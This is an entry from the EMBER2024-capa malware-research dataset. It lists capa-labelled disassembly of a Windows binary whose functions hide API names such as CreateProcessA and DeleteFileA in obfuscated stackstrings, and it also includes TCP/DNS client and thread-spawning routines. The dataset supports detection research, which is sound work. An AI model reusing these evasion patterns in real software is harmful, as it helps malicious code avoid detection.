joyce8/EMBER2024-capa huggingface dataset:
Function at 0x131540b5
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x48
push ebx
push ebp
push esi
mov esi, ecx
xor eax, eax
push edi
mov dword [esp + 0x10], eax
lea ebp, [esi + 0x20]
mov dword [esp + 0x14], eax
mov ecx, 0x41
mov edi, ebp
mov byte [esp + 0x18], al
rep stosd dword es:[edi], eax
mov al, 0x45
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
mov byte [esp + 0x29], al
mov byte [esp + 0x2c], al
mov al, 0x6c
xor ebx, ebx
mov byte [esp + 0x32], al
mov byte [esp + 0x33], al
mov eax, dword [esi + 0x130]
mov byte [esp + 0x10], 0x1c
cmp eax, 0x16
mov byte [esp + 0x28], 0x4b
mov byte [esp + 0x2a], 0x52
mov byte [esp + 0x2b], 0x4e
mov byte [esp + 0x2d], 0x4c
mov byte [esp + 0x2e], 0x33
mov byte [esp + 0x2f], 0x32
mov byte [esp + 0x30], 0x2e
mov byte [esp + 0x31], 0x64
mov byte [esp + 0x34], bl
jne 0x13154188
lea ecx, [esp + 0x38]
lea edx, [esp + 0x28]
push ecx
push edx
mov byte [esp + 0x40], 0x47
mov byte [esp + 0x41], 0x65
mov byte [esp + 0x42], 0x74
mov byte [esp + 0x43], 0x54
mov byte [esp + 0x44], 0x65
mov byte [esp + 0x45], 0x6d
mov byte [esp + 0x46], 0x70
mov byte [esp + 0x47], 0x50
mov byte [esp + 0x48], 0x61
mov byte [esp + 0x49], 0x74
mov byte [esp + 0x4a], 0x68
mov byte [esp + 0x4b], 0x41
mov byte [esp + 0x4c], bl
call dword [sym.imp.kernel32.dll_LoadLibraryA]
push eax
call edi
push ebp
push 0x104
call eax
jmp 0x13154196
cmp eax, 0xe
jne 0x13154196
push ebp
call fcn.13155eb0
add esp, 4
lea eax, [esp + 0x48]
lea ecx, [esp + 0x28]
push eax
push ecx
mov byte [esp + 0x50], 0x47
mov byte [esp + 0x51], 0x65
mov byte [esp + 0x52], 0x74
mov byte [esp + 0x53], 0x54
mov byte [esp + 0x54], 0x69
mov byte [esp + 0x55], 0x63
mov byte [esp + 0x56], 0x6b
mov byte [esp + 0x57], 0x43
mov byte [esp + 0x58], 0x6f
mov byte [esp + 0x59], 0x75
mov byte [esp + 0x5a], 0x6e
mov byte [esp + 0x5b], 0x74
mov byte [esp + 0x5c], bl
call dword [sym.imp.kernel32.dll_LoadLibraryA]
push eax
call edi
mov cl, 0x25
mov byte [esp + 0x1d], 0x73
mov byte [esp + 0x1c], cl
mov byte [esp + 0x1e], 0x5c
mov byte [esp + 0x1f], cl
mov byte [esp + 0x20], 0x64
mov byte [esp + 0x21], 0x2e
mov byte [esp + 0x22], 0x74
mov byte [esp + 0x23], 0x6d
mov byte [esp + 0x24], 0x70
mov byte [esp + 0x25], bl
call eax
push eax
lea edx, [esp + 0x20]
push ebp
push edx
push ebp
call sub.msvcrt.dll_sprintf
mov eax, dword [esp + 0x6c]
add esp, 0x10
mov ecx, dword [eax + 4]
mov dword [esi + 0x128], ecx
mov ecx, esi
mov dword [esi + 0x12c], ebx
call fcn.13154460
test al, al
je 0x13154258
lea edx, [esp + 0x10]
push 9
push edx
mov ecx, esi
call fcn.13156140
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x48
ret 4
Function at 0x13154460
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x1c
push ebx
mov al, 0x45
push esi
mov esi, ecx
mov byte [esp + 0x15], al
mov byte [esp + 0x18], al
mov al, 0x65
mov cl, 0x6c
mov byte [esp + 0xa], al
mov byte [esp + 0xd], al
mov byte [esp + 0x11], al
mov byte [esp + 0x1e], cl
mov byte [esp + 0x1f], cl
mov byte [esp + 0x10], cl
lea eax, [esp + 8]
lea ecx, [esp + 0x14]
xor ebx, ebx
push eax
push ecx
mov byte [esp + 0x1c], 0x4b
mov byte [esp + 0x1e], 0x52
mov byte [esp + 0x1f], 0x4e
mov byte [esp + 0x21], 0x4c
mov byte [esp + 0x22], 0x33
mov byte [esp + 0x23], 0x32
mov byte [esp + 0x24], 0x2e
mov byte [esp + 0x25], 0x64
mov byte [esp + 0x28], bl
mov byte [esp + 0x10], 0x43
mov byte [esp + 0x11], 0x72
mov byte [esp + 0x13], 0x61
mov byte [esp + 0x14], 0x74
mov byte [esp + 0x16], 0x46
mov byte [esp + 0x17], 0x69
mov byte [esp + 0x1a], 0x41
mov byte [esp + 0x1b], bl
call dword [sym.imp.kernel32.dll_LoadLibraryA]
push eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push ebx
push 0x80
push 2
push ebx
push 2
lea edx, [esi + 0x20]
push 0x40000000
push edx
call eax
cmp eax, 0xffffffff
jne 0x13154528
mov dword [esi + 0x128], ebx
mov dword [esi + 0x12c], ebx
pop esi
xor al, al
pop ebx
add esp, 0x1c
ret
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
pop esi
mov al, 1
pop ebx
add esp, 0x1c
ret
Function at 0x13154880
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x1315d128
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x24
push ebx
push ebp
push esi
mov esi, ecx
mov dword [esp + 0xc], esi
mov dword [esi], 0x1315116c
mov al, 0x45
mov cl, 0x61
mov byte [esp + 0x11], al
mov byte [esp + 0x14], al
mov al, 0x6c
mov byte [esp + 0x26], cl
mov byte [esp + 0x1a], al
mov byte [esp + 0x1b], al
mov al, 0x65
mov byte [esp + 0x2d], cl
mov byte [esp + 0x21], al
mov byte [esp + 0x28], al
mov byte [esp + 0x2c], al
lea eax, [esp + 0x20]
lea ecx, [esp + 0x10]
xor ebx, ebx
mov dl, 0x72
push eax
push ecx
mov dword [esp + 0x40], ebx
mov byte [esp + 0x18], 0x4b
mov byte [esp + 0x1a], 0x52
mov byte [esp + 0x1b], 0x4e
mov byte [esp + 0x1d], 0x4c
mov byte [esp + 0x1e], 0x33
mov byte [esp + 0x1f], 0x32
mov byte [esp + 0x20], 0x2e
mov byte [esp + 0x21], 0x64
mov byte [esp + 0x24], bl
mov byte [esp + 0x28], 0x54
mov byte [esp + 0x2a], dl
mov byte [esp + 0x2b], 0x6d
mov byte [esp + 0x2c], 0x69
mov byte [esp + 0x2d], 0x6e
mov byte [esp + 0x2f], 0x74
mov byte [esp + 0x31], 0x54
mov byte [esp + 0x32], 0x68
mov byte [esp + 0x33], dl
mov byte [esp + 0x36], 0x64
mov byte [esp + 0x37], bl
call dword [sym.imp.kernel32.dll_LoadLibraryA]
push eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
mov ebp, eax
mov eax, dword [esi + 0x9d50]
cmp eax, ebx
jbe 0x13154984
push edi
lea edi, [esi + 0x110]
mov edx, dword [edi]
push 0xffffffffffffffff
push edx
call ebp
mov eax, dword [edi]
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, dword [esi + 0x9d50]
inc ebx
add edi, 4
cmp ebx, eax
jb 0x13154965
pop edi
mov ecx, esi
mov dword [esp + 0x38], 0xffffffff
call fcn.13156110
mov ecx, dword [esp + 0x30]
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x30
ret
Function at 0x13155dc0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x74
push edi
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x34]
rep stosd dword es:[edi], eax
mov al, 0x45
mov cl, 0x72
mov byte [esp + 5], al
mov byte [esp + 8], al
mov al, 0x6c
mov byte [esp + 0x15], cl
mov byte [esp + 0xe], al
mov byte [esp + 0xf], al
mov al, 0x65
mov byte [esp + 0x1b], cl
mov byte [esp + 0x16], al
mov byte [esp + 0x19], al
mov byte [esp + 0x1e], al
mov al, 0x73
mov byte [esp + 0x1f], al
mov byte [esp + 0x20], al
lea eax, [esp + 0x14]
lea ecx, [esp + 4]
push eax
push ecx
mov dword [esp + 0x3c], 0x44
mov byte [esp + 0xc], 0x4b
mov byte [esp + 0xe], 0x52
mov byte [esp + 0xf], 0x4e
mov byte [esp + 0x11], 0x4c
mov byte [esp + 0x12], 0x33
mov byte [esp + 0x13], 0x32
mov byte [esp + 0x14], 0x2e
mov byte [esp + 0x15], 0x64
mov byte [esp + 0x18], 0
mov byte [esp + 0x1c], 0x43
mov byte [esp + 0x1f], 0x61
mov byte [esp + 0x20], 0x74
mov byte [esp + 0x22], 0x50
mov byte [esp + 0x24], 0x6f
mov byte [esp + 0x25], 0x63
mov byte [esp + 0x29], 0x41
mov byte [esp + 0x2a], 0
call dword [sym.imp.kernel32.dll_LoadLibraryA]
push eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
lea edx, [esp + 0x24]
lea ecx, [esp + 0x34]
push edx
mov edx, dword [esp + 0x80]
push ecx
push 0
push 0
push 0x20
push 0
push 0
push 0
push 0
push edx
call eax
pop edi
add esp, 0x74
ret
Function at 0x13155eb0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x128
push ebp
mov ebp, dword [esp + 0x130]
test ebp, ebp
push edi
je 0x13155fda
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x2c]
mov byte [esp + 0x14], al
rep stosd dword es:[edi], eax
push ebx
lea eax, [esp + 0xc]
mov bl, 0x65
push eax
mov byte [esp + 0x10], 0x6b
mov byte [esp + 0x11], bl
mov byte [esp + 0x12], 0x72
mov byte [esp + 0x13], 0x6e
mov byte [esp + 0x14], bl
mov byte [esp + 0x15], 0x6c
mov byte [esp + 0x16], 0x33
mov byte [esp + 0x17], 0x32
mov byte [esp + 0x18], 0x2e
mov byte [esp + 0x19], 0x64
mov byte [esp + 0x1a], 0x6c
mov byte [esp + 0x1b], 0x6c
call dword [sym.imp.kernel32.dll_LoadLibraryA]
lea ecx, [esp + 0x1c]
mov byte [esp + 0x1c], 0x47
push ecx
push eax
mov byte [esp + 0x25], bl
mov byte [esp + 0x26], 0x74
mov byte [esp + 0x27], 0x4d
mov byte [esp + 0x28], 0x6f
mov byte [esp + 0x29], 0x64
mov byte [esp + 0x2a], 0x75
mov byte [esp + 0x2b], 0x6c
mov byte [esp + 0x2c], bl
mov byte [esp + 0x2d], 0x46
mov byte [esp + 0x2e], 0x69
mov byte [esp + 0x2f], 0x6c
mov byte [esp + 0x30], bl
mov byte [esp + 0x31], 0x4e
mov byte [esp + 0x32], 0x61
mov byte [esp + 0x33], 0x6d
mov byte [esp + 0x34], bl
mov byte [esp + 0x35], 0x41
mov byte [esp + 0x36], 0
call dword [sym.imp.kernel32.dll_GetProcAddress]
mov ecx, dword [0x1315d940]
lea edx, [esp + 0x30]
push 0x104
push edx
push ecx
call eax
lea edi, [esp + 0x30]
or ecx, 0xffffffff
xor eax, eax
pop ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
test ecx, ecx
jle 0x13155fda
mov al, 0x5c
cmp byte [esp + ecx + 0x2c], al
je 0x13155fc3
dec ecx
test ecx, ecx
jg 0x13155faf
pop edi
pop ebp
add esp, 0x128
ret
inc ecx
push esi
mov edx, ecx
lea esi, [esp + 0x30]
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop esi
pop edi
pop ebp
add esp, 0x128
ret

Function at 0x13156020
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x20
push esi
mov esi, ecx
mov ecx, dword [esp + 0x28]
push esi
mov dword [esi], 0x13151174
mov dword [esi + 4], ecx
call fcn.13153de0
mov al, 0x6c
mov cl, 0x45
mov byte [esp + 0x1e], al
mov byte [esp + 0x1f], al
mov al, 0x65
mov byte [esp + 0x15], cl
mov byte [esp + 6], al
mov byte [esp + 9], al
mov byte [esp + 0xc], al
mov byte [esp + 0x18], cl
mov byte [esp + 0xa], cl
lea eax, [esp + 4]
lea ecx, [esp + 0x14]
mov dl, 0x74
push eax
push ecx
mov byte [esp + 0x1c], 0x4b
mov byte [esp + 0x1e], 0x52
mov byte [esp + 0x1f], 0x4e
mov byte [esp + 0x21], 0x4c
mov byte [esp + 0x22], 0x33
mov byte [esp + 0x23], 0x32
mov byte [esp + 0x24], 0x2e
mov byte [esp + 0x25], 0x64
mov byte [esp + 0x28], 0
mov byte [esp + 0xc], 0x43
mov byte [esp + 0xd], 0x72
mov byte [esp + 0xf], 0x61
mov byte [esp + 0x10], dl
mov byte [esp + 0x13], 0x76
mov byte [esp + 0x15], 0x6e
mov byte [esp + 0x16], dl
mov byte [esp + 0x17], 0x41
mov byte [esp + 0x18], 0
call dword [sym.imp.kernel32.dll_LoadLibraryA]
push eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push 0
push 0
push 1
push 0
call eax
mov dword [esi + 8], eax
mov eax, esi
pop esi
add esp, 0x20
ret 4
Function at 0x13156247
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x120
push ebp
push esi
mov esi, ecx
lea ebp, [esi + 0x10c]
push ebp
call fcn.13156360
test eax, eax
jne 0x13156348
mov al, 0x45
mov cl, 0x65
mov byte [esp + 0x15], al
mov byte [esp + 0x18], al
mov al, 0x6c
mov byte [esp + 0xa], cl
mov byte [esp + 0x1e], al
mov byte [esp + 0x1f], al
mov al, 0x72
mov byte [esp + 0xb], cl
mov byte [esp + 9], al
mov byte [esp + 0xf], al
mov byte [esp + 0x11], al
lea eax, [esp + 8]
push edi
lea ecx, [esp + 0x18]
mov dl, 0x4c
push eax
push ecx
mov byte [esp + 0x20], 0x4b
mov byte [esp + 0x22], 0x52
mov byte [esp + 0x23], 0x4e
mov byte [esp + 0x25], dl
mov byte [esp + 0x26], 0x33
mov byte [esp + 0x27], 0x32
mov byte [esp + 0x28], 0x2e
mov byte [esp + 0x29], 0x64
mov byte [esp + 0x2c], 0
mov byte [esp + 0x14], 0x46
mov byte [esp + 0x18], dl
mov byte [esp + 0x19], 0x69
mov byte [esp + 0x1a], 0x62
mov byte [esp + 0x1c], 0x61
mov byte [esp + 0x1e], 0x79
mov byte [esp + 0x1f], 0
call dword [sym.imp.kernel32.dll_LoadLibraryA]
push eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
mov edx, dword [0x1315d628]
push edx
call eax
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x29]
mov byte [esp + 0x28], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x28]
lea ecx, [esi + 0x320]
push eax
push ecx
call fcn.131563f0
add esp, 8
add esi, 4
lea edx, [esp + 0x28]
push esi
push edx
push 0x13152054
push ebp
call dword [sym.imp.kernel32.dll_WritePrivateProfileStringA]
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x120
ret
pop esi
mov eax, 1
pop ebp
add esp, 0x120
ret

Function at 0x13156360
Capabilities:
Read .ini file

Disassembly:
sub esp, 0x104
mov edx, ecx
mov ecx, 0x41
xor eax, eax
push esi
push edi
lea edi, [esp + 8]
lea esi, [edx + 4]
rep stosd dword es:[edi], eax
mov ecx, 0x41
mov edi, esi
rep stosd dword es:[edi], eax
push esi
mov ecx, edx
call fcn.131565f0
mov ecx, dword [esp + 0x110]
push esi
lea eax, [esp + 0xc]
push 0x104
push eax
push 0x1315d624
push 0x13152054
push ecx
call dword [sym.imp.kernel32.dll_GetPrivateProfileStringA]
lea edi, [esp + 8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
pop edi
pop esi
jne 0x131563c9
add esp, 0x104
ret 4
lea edx, [esp]
push edx
call dword [sym.imp.kernel32.dll_LoadLibraryA]
xor ecx, ecx
mov dword [0x1315d628], eax
test eax, eax
setne cl
mov eax, ecx
add esp, 0x104
ret 4
Function at 0x13156880
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1315d1f0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push esi
push edi
lea eax, [ecx + 0x10c]
mov dword [ebp - 0x10], esp
xor ebx, ebx
push eax
mov dword [ebp - 4], ebx
call fcn.13156360
cmp eax, ebx
je 0x13156955
mov ecx, dword [0x1315d628]
mov esi, dword [sym.imp.kernel32.dll_GetProcAddress]
push 0x131520f4
push ecx
call esi
push ebx
call eax
mov al, 0x45
mov dl, 0x4c
mov byte [ebp - 0x2b], al
mov byte [ebp - 0x28], al
mov al, 0x6c
add esp, 4
mov byte [ebp - 0x22], al
mov byte [ebp - 0x21], al
mov al, 0x72
mov byte [ebp - 0x27], dl
mov byte [ebp - 0x18], dl
mov byte [ebp - 0x1b], al
mov byte [ebp - 0x15], al
mov byte [ebp - 0x13], al
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x2c]
mov cl, 0x65
push edx
push eax
mov byte [ebp - 0x2c], 0x4b
mov byte [ebp - 0x2a], 0x52
mov byte [ebp - 0x29], 0x4e
mov byte [ebp - 0x26], 0x33
mov byte [ebp - 0x25], 0x32
mov byte [ebp - 0x24], 0x2e
mov byte [ebp - 0x23], 0x64
mov byte [ebp - 0x20], bl
mov byte [ebp - 0x1c], 0x46
mov byte [ebp - 0x1a], cl
mov byte [ebp - 0x19], cl
mov byte [ebp - 0x17], 0x69
mov byte [ebp - 0x16], 0x62
mov byte [ebp - 0x14], 0x61
mov byte [ebp - 0x12], 0x79
mov byte [ebp - 0x11], bl
call dword [sym.imp.kernel32.dll_LoadLibraryA]
push eax
call esi
mov ecx, dword [0x1315d628]
push ecx
call eax
mov dword [0x1315d628], ebx
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov eax, 1
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x13156a30
Capabilities:
Contain obfuscated stackstrings
Create thread

Disassembly:
sub esp, 0x30
mov eax, dword [esp + 0x3c]
mov ecx, dword [esp + 0x40]
mov dl, byte [esp + 0x4c]
mov dword [esp + 0x20], eax
mov al, 0x6c
mov dword [esp + 0x24], ecx
mov byte [esp + 0x1a], al
mov byte [esp + 0x1b], al
mov al, 0x65
mov cl, 0x45
mov byte [esp + 2], al
mov byte [esp + 5], al
mov byte [esp + 8], al
mov byte [esp + 0x11], cl
mov byte [esp + 0x14], cl
mov byte [esp + 6], cl
lea eax, [esp]
push esi
mov byte [esp + 0x2c], dl
lea ecx, [esp + 0x14]
mov dl, 0x74
push eax
push ecx
mov byte [esp + 0x1c], 0x4b
mov byte [esp + 0x1e], 0x52
mov byte [esp + 0x1f], 0x4e
mov byte [esp + 0x21], 0x4c
mov byte [esp + 0x22], 0x33
mov byte [esp + 0x23], 0x32
mov byte [esp + 0x24], 0x2e
mov byte [esp + 0x25], 0x64
mov byte [esp + 0x28], 0
mov byte [esp + 0xc], 0x43
mov byte [esp + 0xd], 0x72
mov byte [esp + 0xf], 0x61
mov byte [esp + 0x10], dl
mov byte [esp + 0x13], 0x76
mov byte [esp + 0x15], 0x6e
mov byte [esp + 0x16], dl
mov byte [esp + 0x17], 0x41
mov byte [esp + 0x18], 0
call dword [sym.imp.kernel32.dll_LoadLibraryA]
push eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push 0
push 0
push 0
push 0
call eax
mov edx, dword [esp + 0x4c]
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x48]
push edx
mov edx, dword [esp + 0x40]
lea ecx, [esp + 0x28]
push eax
mov eax, dword [esp + 0x40]
push ecx
push 0x13156980
push edx
push eax
call sub.msvcrt.dll__beginthreadex
add esp, 0x18
mov esi, eax
push 2
push esi
call dword [sym.imp.kernel32.dll_SetThreadPriority]
mov ecx, dword [esp + 0x30]
push 0xffffffffffffffff
push ecx
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
mov edx, dword [esp + 0x30]
push edx
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x30
ret
Function at 0x131579f0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x20
push esi
mov esi, dword [esp + 0x2c]
push edi
mov edi, dword [esp + 0x2c]
cmp edi, esi
jne 0x13157a09
mov eax, edi
pop edi
pop esi
add esp, 0x20
ret
mov al, 0x45
xor cl, cl
mov byte [esp + 0x19], al
mov byte [esp + 0x1c], al
mov al, 0x6c
mov byte [esp + 0x24], cl
mov byte [esp + 0x22], al
mov byte [esp + 0x23], al
mov al, 0x74
mov byte [esp + 0x14], cl
mov byte [esp + 0xa], al
mov byte [esp + 0x13], al
lea eax, [esp + 8]
lea ecx, [esp + 0x18]
push eax
push ecx
mov byte [esp + 0x20], 0x4b
mov byte [esp + 0x22], 0x52
mov byte [esp + 0x23], 0x4e
mov byte [esp + 0x25], 0x4c
mov byte [esp + 0x26], 0x33
mov byte [esp + 0x27], 0x32
mov byte [esp + 0x28], 0x2e
mov byte [esp + 0x29], 0x64
mov byte [esp + 0x10], 0x47
mov byte [esp + 0x11], 0x65
mov byte [esp + 0x13], 0x54
mov byte [esp + 0x14], 0x69
mov byte [esp + 0x15], 0x63
mov byte [esp + 0x16], 0x6b
mov byte [esp + 0x17], 0x43
mov byte [esp + 0x18], 0x6f
mov byte [esp + 0x19], 0x75
mov byte [esp + 0x1a], 0x6e
call dword [sym.imp.kernel32.dll_LoadLibraryA]
push eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
call eax
push eax
call sub.msvcrt.dll_srand
add esp, 4
call sub.msvcrt.dll_rand
add eax, 3
sub esi, edi
cdq
inc esi
idiv esi
mov eax, edx
add eax, edi
pop edi
pop esi
add esp, 0x20
ret
Function at 0x13159060
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x30
push ebp
push esi
push edi
mov edi, 0x13152100
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x13152100
call fcn.13157480
mov edi, 0x13152140
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x13152140
call fcn.13157480
mov esi, dword [esp + 0x58]
mov al, 0x67
mov byte [esp + 0x28], al
mov byte [esp + 0x2c], al
lea eax, [esp + 0x24]
mov byte [esp + 0x24], 0x6b
push eax
push esi
mov byte [esp + 0x2d], 0x6f
mov byte [esp + 0x2e], 0x77
mov byte [esp + 0x2f], 0x64
mov byte [esp + 0x31], 0x6a
mov byte [esp + 0x32], 0x74
mov byte [esp + 0x33], 0x74
mov byte [esp + 0x35], 0
call sub.msvcrt.dll_strstr
mov ebp, dword [sym.imp.kernel32.dll_Sleep]
add esp, 0x18
test eax, eax
je 0x131591b5
mov cl, 0x6c
mov al, 0x45
mov byte [esp + 0x36], cl
mov byte [esp + 0x37], cl
mov byte [esp + 0x22], cl
mov byte [esp + 0x28], cl
lea ecx, [esp + 0x20]
mov byte [esp + 0x2d], al
mov byte [esp + 0x30], al
lea edx, [esp + 0x2c]
mov al, 0x65
push ecx
push edx
mov byte [esp + 0x34], 0x4b
mov byte [esp + 0x36], 0x52
mov byte [esp + 0x37], 0x4e
mov byte [esp + 0x39], 0x4c
mov byte [esp + 0x3a], 0x33
mov byte [esp + 0x3b], 0x32
mov byte [esp + 0x3c], 0x2e
mov byte [esp + 0x3d], 0x64
mov byte [esp + 0x40], 0
mov byte [esp + 0x28], 0x44
mov byte [esp + 0x29], al
mov byte [esp + 0x2b], al
mov byte [esp + 0x2c], 0x74
mov byte [esp + 0x2d], al
mov byte [esp + 0x2e], 0x46
mov byte [esp + 0x2f], 0x69
mov byte [esp + 0x31], al
mov byte [esp + 0x32], 0x41
mov byte [esp + 0x33], 0
call dword [sym.imp.kernel32.dll_LoadLibraryA]
push eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
mov edi, eax
lea eax, [esp + 0x14]
push eax
push esi
call sub.msvcrt.dll_strstr
add esp, 8
add eax, 9
push eax
call edi
test eax, eax
jne 0x131591b5
push 0x3e8
call ebp
lea ecx, [esp + 0x14]
push ecx
push esi
call sub.msvcrt.dll_strstr
add esp, 8
add eax, 9
push eax
call edi
test eax, eax
je 0x13159196
lea edx, [esp + 0xc]
mov byte [esp + 0xc], 0x6b
push edx
push esi
mov byte [esp + 0x15], 0x73
mov byte [esp + 0x16], 0x64
mov byte [esp + 0x17], 0x66
mov byte [esp + 0x18], 0x6b
mov byte [esp + 0x19], 0x64
mov byte [esp + 0x1a], 0x77
mov byte [esp + 0x1b], 0
call sub.msvcrt.dll_strstr
add esp, 8
test eax, eax
je 0x131591f6
push 0x1388
call ebp
call fcn.13158830
pop edi
pop esi
test eax, eax
pop ebp
jne 0x1315920f
call fcn.13158ab0
xor eax, eax
add esp, 0x30
ret 0x10
call fcn.13159040
xor eax, eax
add esp, 0x30
ret 0x10
Function at 0x13159680
Capabilities:
Resolve dns

Disassembly:
mov eax, dword [esp + 4]
push esi
push eax
xor esi, esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x1315969f
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
test eax, eax
je 0x1315969f
mov eax, dword [eax]
pop esi
ret
mov eax, esi
pop esi
ret

Function at 0x131596b0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
sub esp, 0x10
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x131596ce
or eax, eax
pop esi
add esp, 0x10
ret
push edi
mov edi, dword [esp + 0x1c]
push edi
call fcn.13159680
add esp, 4
test eax, eax
jne 0x131596e7
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x20]
push eax
mov word [esp + 0xc], 2
call dword [sym.imp.WS2_32.dll_ntohs]
lea ecx, [esp + 8]
push 0x10
push ecx
push esi
mov word [esp + 0x16], ax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
pop edi
jne 0x13159725
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
pop esi
add esp, 0x10
ret
mov eax, esi
pop esi
add esp, 0x10
ret

Function at 0x131597b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x20
mov al, 0x45
xor cl, cl
mov byte [esp + 0x11], al
mov byte [esp + 0x14], al
mov al, 0x6c
mov byte [esp + 0x1c], cl
mov byte [esp + 0x1a], al
mov byte [esp + 0x1b], al
mov al, 0x74
mov byte [esp + 0xc], cl
mov byte [esp + 2], al
mov byte [esp + 0xb], al
lea eax, [esp]
push esi
lea ecx, [esp + 0x14]
push eax
push ecx
mov byte [esp + 0x1c], 0x4b
mov byte [esp + 0x1e], 0x52
mov byte [esp + 0x1f], 0x4e
mov byte [esp + 0x21], 0x4c
mov byte [esp + 0x22], 0x33
mov byte [esp + 0x23], 0x32
mov byte [esp + 0x24], 0x2e
mov byte [esp + 0x25], 0x64
mov byte [esp + 0xc], 0x47
mov byte [esp + 0xd], 0x65
mov byte [esp + 0xf], 0x54
mov byte [esp + 0x10], 0x69
mov byte [esp + 0x11], 0x63
mov byte [esp + 0x12], 0x6b
mov byte [esp + 0x13], 0x43
mov byte [esp + 0x14], 0x6f
mov byte [esp + 0x15], 0x75
mov byte [esp + 0x16], 0x6e
call dword [sym.imp.kernel32.dll_LoadLibraryA]
push eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
call eax
mov esi, eax
call sub.msvcrt.dll_rand
add eax, 3
xor edx, edx
imul eax, esi
div dword [esp + 0x28]
pop esi
mov eax, edx
add esp, 0x20
ret 4

Function at 0x13159a40
Capabilities:
Create thread

Disassembly:
push esi
mov esi, ecx
push edi
xor edi, edi
mov eax, dword [esi + 0x404]
test eax, eax
jle 0x13159a73
push ebx
mov ebx, dword [sym.imp.kernel32.dll_CreateThread]
push 0
push 0
push esi
push 0x1315a0b0
push 0
push 0
call ebx
mov eax, dword [esi + 0x404]
inc edi
cmp edi, eax
jl 0x13159a57
pop ebx
pop edi
pop esi
ret

Function at 0x13159a80
Capabilities:
Create thread

Disassembly:
push esi
mov esi, ecx
push edi
xor edi, edi
mov eax, dword [esi + 0x404]
test eax, eax
jle 0x13159ab3
push ebx
mov ebx, dword [sym.imp.kernel32.dll_CreateThread]
push 0
push 0
push esi
push 0x1315a4e0
push 0
push 0
call ebx
mov eax, dword [esi + 0x404]
inc edi
cmp edi, eax
jl 0x13159a97
pop ebx
pop edi
pop esi
ret